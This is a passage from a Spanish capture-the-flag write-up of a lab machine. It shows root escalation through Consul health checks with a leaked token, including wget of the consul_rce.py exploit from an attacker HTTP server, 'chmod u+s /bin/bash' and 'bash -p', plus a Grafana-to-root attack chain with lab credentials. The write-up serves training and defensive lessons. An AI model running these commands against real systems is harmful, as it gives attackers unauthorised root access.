El consul reload no funcionaría sin el token: es una operación administrativa de la API, y por eso el CONSUL_HTTP_TOKEN del commit era la pieza que faltaba. La respuesta Configuration reload triggered confirma que Consul aceptó la orden, y el ls -l posterior lo prueba: /bin/bash pasa de -rwxr-xr-x a -rwsr-xr-x, con la s del bit SUID.

bash -p

bash -p tras el SUID: whoami = root

developer@ambassador:/etc/consul.d/config.d$ bash -p
bash-5.0# whoami
root

El -p es obligatorio: sin él, bash detecta que el UID efectivo (0) no coincide con el real y renuncia a los privilegios al arrancar, precisamente para evitar este tipo de abusos. Con -p los conserva.

La misma escalada, automatizada

Existe un exploit público que hace todo esto por nosotros, owalid/consul-rce. Se clona en el atacante y se transfiere:

# atacante
git clone https://github.com/owalid/consul-rce
cd consul-rce
python3 -m http.server 80
# víctima
wget http://10.10.16.6/consul_rce.py

a la izquierda el wget descarga consul_rce.py en la víctima; a la derecha el git clone y el servidor HTTP del atacante registrando la petición

# víctima
--2025-11-16 23:04:03--  http://10.10.16.6/consul_rce.py
Connecting to 10.10.16.6:80 ... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 2178 (2.1K) [text/x-python]
Saving to: 'consul_rce.py'
consul_rce.py       100%[===================>]   2.13K  --.-KB/s    in 0.1s
2025-11-16 23:04:04 (20.4 KB/s) - 'consul_rce.py' saved [2178/2178]

developer@ambassador:/tmp$ ls | grep consul
consul_rce.py

# atacante
Cloning into 'consul-rce'...
remote: Enumerating objects: 7, done.
remote: Total 7 (delta 0), reused 4 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (7/7), done.

README.md  consul_rce.py

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.183 - - [16/Nov/2025 23:04:05] "GET /consul_rce.py HTTP/1.1" 200 -
ls -l /bin/bash
chmod +x consul_rce.py
python3 consul_rce.py -th 127.0.0.1 -tp 8500 -c "chmod u+s /bin/bash" -ct "bb03b43b-1d81-d62b-24b5-39540ee469b5"
ls -l /bin/bash
bash -p

el exploit registra y elimina un check con nombre aleatorio; el ls -l antes y después muestra el cambio de permisos de /bin/bash a rwsr-xr-x

developer@ambassador:/tmp$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
developer@ambassador:/tmp$ chmod +x consul_rce.py
developer@ambassador:/tmp$ python3 consul_rce.py
usage: consul_rce.py [-h] -th TARGET_HOST -tp TARGET_PORT -c COMMAND [-s SSL]
                     [-ct CONSUL_TOKEN]
consul_rce.py: error: the following arguments are required: -th/--target_host, -tp/--target_port, -c/--command
developer@ambassador:/tmp$ python3 consul_rce.py -th 127.0.0.1 -tp 8500 -c "chmod u+s /bin/bash" -ct "bb03b43b-1d81-d62b-24b5-39540ee469b5"
[+] Check okucmfmihlhuczv created successfully
[+] Check okucmfmihlhuczv deregistered successfully
developer@ambassador:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
developer@ambassador:/tmp$ bash -p
bash-5.0# whoami
root

El puerto 8500 es el de la API HTTP de Consul por defecto, y 127.0.0.1 porque solo escucha en local. La diferencia con el método manual es de limpieza: el exploit registra el check por API, espera a que se ejecute y lo da de baja (deregistered successfully), en vez de dejar un .hcl tirado en el disco. El ls -l de antes y después es la prueba independiente de que funcionó.

root.txt

cat root.txt como root

bash-5.0# cat /root/root.txt
64a3f76af5e58df746a22bfc68bcbfbd

Cadena de ataque

TTL 63 (Linux) ─▶ UDP: nada ─▶ TCP: 22/80/3000(Grafana 8.2.0)/3306(MySQL)
        │  web :80 ─▶ "Use the developer account to SSH"  (nombre de usuario)
        │  CVE-2021-43798 (path traversal previo a login)
        ▼
  /etc/passwd (root, developer, consul)  y  grafana.ini ─▶ admin:messageInABottle685427
        │  API /api/datasources  ó  /var/lib/grafana/grafana.db (sin login)
        ▼
  MySQL grafana:dontStandSoCloseToMe63221! ─▶ whackywidget.users ─▶ base64
        ▼
  SSH developer:anEnglishManInNewYork027468 ─▶ user.txt
        │  ~/.gitconfig ─▶ /opt/my-app ─▶ git log ─▶ commit "tidy config script"
        ▼
  CONSUL_HTTP_TOKEN = bb03b43b-1d81-d62b-24b5-39540ee469b5
        │  consul como root + /etc/consul.d/config.d escribible
        ▼
  health-check .hcl (enable_script_checks) ─▶ consul reload ─▶ chmod u+s /bin/bash
        ▼
  bash -p ─▶ root ─▶ root.txt

Lecciones aprendidas

  • Un path traversal sin autenticar es crítico. CVE-2021-43798 deja leer grafana.ini, grafana.db y cualquier fichero legible por el proceso. Mantener Grafana parcheado y no exponer el 3000.
  • La versión del exploit no tiene que coincidir exactamente. El PoC decía 8.3.0 y la máquina corría 8.2.0: como el fallo se corrigió en 8.3.1, todas las anteriores estaban afectadas. Leer el exploit antes de ejecutarlo también convirtió un script interactivo en un curl de una línea.
  • Las credenciales se propagan en cadena. La contraseña del admin de Grafana abre su API, que revela la de MySQL, que da la de developer: cada secreto encadena el siguiente. Rotar credenciales y no reutilizarlas entre servicios.
  • base64 no protege nada. Guardar una contraseña en base64 en la base de datos es texto plano con pasos extra. Hashear con algoritmos lentos.
  • git recuerda lo que borras. El commit "tidy config script" quitó el token del código tres minutos después de introducirlo, y ahí sigue en el diff. Rotar cualquier credencial filtrada; limpiar el historial no basta si el repositorio ya se compartió.
  • Servicios que ejecutan scripts como root son root. Consul con enable_script_checks y un directorio de configuración escribible permite ejecución como root. El proceso ni siquiera debería correr como root habiendo un usuario consul creado para ello.
Cheatsheet de comandos 15 comandos

Repaso rápido